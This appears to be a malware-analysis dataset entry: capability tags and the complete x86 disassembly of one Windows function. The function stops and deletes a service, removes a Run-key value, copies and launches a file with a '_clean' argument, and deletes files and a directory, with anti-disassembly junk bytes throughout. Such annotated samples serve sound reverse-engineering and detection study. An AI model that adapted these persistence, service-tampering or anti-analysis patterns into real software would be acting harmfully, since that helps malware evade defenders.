Function at 0x43f920
Capabilities:
Copy file
Create process on windows
Delete directory
Delete file
Delete registry value
Delete service
Persist via run registry key
Persist via windows service
Set file attributes
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48ba49
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x88
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x43f949
invalid
push eax
xor eax, eax
pop eax
je 0x43f951
invalid
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x20]
xor ebx, ebx
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
mov dword [ebp - 0x20], ebx
call esi
test eax, eax
jne 0x43f999
mov eax, dword [0x4c89dc]
cmp eax, ebx
jne 0x43f984
mov eax, 0x48d810
mov ecx, dword [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x20]
push eax
push 0x20006
push ebx
push str.SystemCurrentControlSetServicesDisk
push reloc.WSOCK32.dll_bind
call esi
cmp eax, ebx
jne 0x43f9e6
mov ecx, 6
mov esi, 0x4b4d94
lea edi, [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x6c]
push 0x1a
push ecx
push 2
push ebx
push 0x4b0d78
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x6d]
lea edx, [ebp - 0x6e]
push ecx
push ebx
push edx
lea ecx, [ebp - 0x30]
call fcn.00409760
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
call fcn.00439a40
lea ecx, [ebp - 0x74]
push ecx
lea ecx, [ebp - 0x30]
call fcn.00449300
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x2c]
cmp eax, ecx
mov dword [ebp - 0x20], eax
je 0x43fa37
mov dl, byte [eax + 0xc]
push edx
call fcn.00441040
lea ecx, [ebp - 0x20]
call fcn.00409860
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
cmp eax, ecx
jne 0x43fa1c
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004093d0
mov al, byte [ebp + 8]
test al, al
je 0x43fdad
push eax
xor eax, eax
pop eax
je 0x43fa59
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x43fb25
push 0x4c89d8
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c8a88
mov dword [ebp - 4], 1
call fcn.004094e0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43faa7
mov eax, 0x48d810
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x43fb0d
lea ecx, [ebp - 0x6c]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x43facf
invalid
call dword [sym.imp.WINMM.dll_timeGetTime]
mov esi, eax
xor eax, eax
mov edx, 0x3e8
sub edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp eax, esi
jb 0x43faf5
sub eax, esi
jmp 0x43faf8
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x43fad9
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push eax
xor eax, eax
pop eax
je 0x43fb2d
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
mov dword [ebp + 8], esi
je 0x43fbe1
push 0x4c89d8
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43fb62
mov eax, 0x48d810
push 0xf01ff
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x43fbc9
lea eax, [ebp - 0x6c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x43fb8a
invalid
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
call ebx
mov esi, eax
xor eax, eax
mov ecx, 0x3e8
sub ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
cmp eax, esi
jb 0x43fbae
sub eax, esi
jmp 0x43fbb1
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x43fb96
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4b0b48
lea edx, [ebp - 0x60]
push 0x4c8728
push edx
call fcn.00414570
push 0x4c89d8
push eax
lea eax, [ebp - 0x94]
mov dword [ebp - 4], 3
push eax
call fcn.004146a0
push 0x4b0b48
lea ecx, [ebp - 0x30]
push eax
push ecx
mov byte [ebp - 4], 4
call fcn.00414570
push 0x4c89e8
lea edx, [ebp - 0x1c]
push eax
push edx
mov byte [ebp - 4], 5
call fcn.004146a0
add esp, 0x30
push 1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 9
call fcn.004017b0
push 1
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 8
call fcn.004017b0
push 1
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 7
call fcn.004017b0
push str._temp_
lea eax, [ebp - 0x84]
push 0x4c8738
push eax
call fcn.00414570
push 0x4c89e8
lea ecx, [ebp - 0x40]
push eax
push ecx
mov byte [ebp - 4], 0xa
call fcn.004146a0
add esp, 0x18
push 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0xc
call fcn.004017b0
mov dl, byte [0x4c8738]
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x50], dl
call fcn.004017b0
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4c8738
call fcn.004094e0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x43fcd4
mov eax, 0x48d810
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x3c]
mov ecx, 0x48d810
test eax, eax
je 0x43fcee
mov ecx, eax
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43fcfa
mov eax, 0x48d810
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
jne 0x43fd10
mov ecx, 0x48d810
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x43fd1c
mov eax, 0x48d810
push 0
push ecx
push str._clean
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push eax
xor eax, eax
pop eax
je 0x43fd3a
invalid
mov edi, dword [sym.imp.WINMM.dll_timeGetTime]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
xor eax, eax
mov ecx, 0x1f4
sub ecx, eax
push ecx
call ebx
call edi
cmp eax, esi
jb 0x43fd60
sub eax, esi
jmp 0x43fd63
sub eax, esi
dec eax
cmp eax, 0x1f4
jb 0x43fd4c
push 1
lea ecx, [ebp - 0x50]
call fcn.004017b0
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.004017b0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x43fdad
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x43fda4
cmp al, 0xff
je 0x43fda4
dec al
mov byte [ecx], al
jmp 0x43fdad
push ecx
call fcn.00485078
add esp, 4
push eax
xor eax, eax
pop eax
je 0x43fdb5
invalid
mov dl, byte [0x4c8728]
push 0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], dl
call fcn.004017b0
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c8728
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xd
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c89d8
lea ecx, [ebp - 0x30]
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c8a48
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43fe56
mov eax, 0x48d810
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43fe70
mov eax, 0x48d810
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
mov al, byte [0x4c8728]
push 0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], al
call fcn.004017b0
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c8728
lea ecx, [ebp - 0x30]
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xe
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c89d8
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c8a28
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43ff2a
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x43ff3e
mov eax, 0x48d810
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4bd5a4
mov ecx, 0x4c87c8
call fcn.004149b0
test eax, eax
je 0x44006b
mov cl, byte [0x4c87c8]
push 0
mov byte [ebp - 0x1c], cl
lea ecx, [ebp - 0x1c]
call fcn.004017b0
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4c87c8
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x1c]
call fcn.0041d290
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4c8a98
call fcn.00412f80
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43ffd7
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43ffeb
mov eax, 0x48d810
push eax
call esi
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c87c8
lea ecx, [ebp - 0x1c]
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x1c]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4c8a68
call fcn.00412f80
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x440043
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x440057
mov eax, 0x48d810
push eax
call esi
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4bd5a4
mov ecx, 0x4c8638
call fcn.004149b0
test eax, eax
je 0x440183
mov al, byte [0x4c8638]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.004017b0
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c8638
lea ecx, [ebp - 0x1c]
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x1c]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4c8a98
call fcn.00412f80
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4400f0
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x440104
mov eax, 0x48d810
push eax
call esi
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4c8638
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x1c]
call fcn.0041d290
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c8a68
lea ecx, [ebp - 0x1c]
call fcn.00412f80
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x44015b
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x44016f
mov eax, 0x48d810
push eax
call esi
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4c8728
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x11
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c89d8
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c89b8
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x440208
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x44021c
mov eax, 0x48d810
push eax
call esi
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c8728
lea ecx, [ebp - 0x30]
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c89d8
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c89f8
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4402a6
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4402ba
mov eax, 0x48d810
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4c8728
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x12
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c89d8
lea ecx, [ebp - 0x30]
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c8a38
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x440354
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x440368
mov eax, 0x48d810
push eax
call esi
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4c8728
call fcn.004094e0
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov ecx, dword [0x491cd4]
push ecx
push 0
push 0x4c89d8
lea ecx, [ebp - 0x30]
call fcn.00412f80
mov edi, 0x4b0b48
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x30]
call fcn.0041d290
mov edx, dword [0x491cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4c89e8
call fcn.00412f80
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4403f2
mov eax, 0x48d810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x440406
mov eax, 0x48d810
push eax
call esi
or esi, 0xffffffff
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
call fcn.004017b0
push 0x4c8728
lea ecx, [ebp - 0x84]
call fcn.004122e0
mov edi, 0x4b0b48
mov ecx, esi
xor eax, eax
mov dword [ebp - 4], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b0b48
lea ecx, [ebp - 0x84]
call fcn.0041d290
mov eax, dword [0x491cd4]
lea ecx, [ebp - 0x84]
push eax
push 0
push 0x4c89d8
call fcn.00412f80
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x440473
mov eax, 0x48d810
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 1
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], esi
call fcn.004017b0
call fcn.0043c4f0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4